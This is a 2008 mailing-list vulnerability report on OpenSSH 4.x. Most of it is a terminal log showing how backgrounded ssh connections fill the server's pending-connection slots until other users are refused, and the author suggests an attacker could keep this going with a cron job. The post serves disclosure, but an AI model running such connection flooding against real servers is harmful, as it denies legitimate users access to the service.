OpenSSH 4.X DoS (maybe...)

[email protected] 26 Feb 2008 22:13:50 -0000
Newsgroups gmane.comp.security.vulnerabilities
Message-ID <[email protected]>
OpenSSH 4.X deny remote connections.=0D
=0D
=0D
The service itself doesn't crash, but it does NOT allow anyone to connect=
 after 10 or so pending connections.=0D
=0D
=0D
To reproduce:=0D
=0D
=0D
telnet 3.1.33.7 22=0D
=0D
Trying 3.1.33.7...=0D
=0D
Connected to 3.1.33.7.=0D
=0D
Escape character is '^]'.=0D
=0D
SSH-2.0-OpenSSH_4.7p1 Debian-2=0D
=0D
=0D
Protocol mismatch.=0D
=0D
Connection closed by foreign host.=0D
=0D
darkstar# ssh 3.1.33.7=0D
=0D
The authenticity of host '3.1.33.7 (3.1.33.7)' can't be established.=0D
=0D
RSA key fingerprint is f9:10:92:7d:8b:70:cb:fe:1c:40:13:7b:6c:e7:d0:bf.=0D
=0D
Are you sure you want to continue connecting (yes/no)? yes=0D
=0D
Warning: Permanently added '3.1.33.7' (RSA) to the list of known hosts.=0D
=0D
[email protected]'s password:=0D
=0D
=0D
darkstar# ssh 3.1.33.7=0D
=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[1] 12945=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[2] 12946=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[3] 12947=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[4] 12948=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[5] 12949=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[6] 12950=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[7] 12951=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[8] 12952=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[9] 12953=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[10] 12954=0D
=0D
darkstar# ssh 3.1.33.7 &=0D
=0D
[11] 12955=0D
=0D
darkstar#=0D
=0D
=0D
ssh_exchange_identification: Connection closed by remote host=0D
=0D
=0D
An attacker could cronjob a script to force this condition to remain true=
.=0D
=0D
=0D
This will deny anyone else from connecting to the service. Normal behavio=
ur?=0D
=0D
=0D
Shouts: burnout,spithash princess^pookie, #codemasters=0D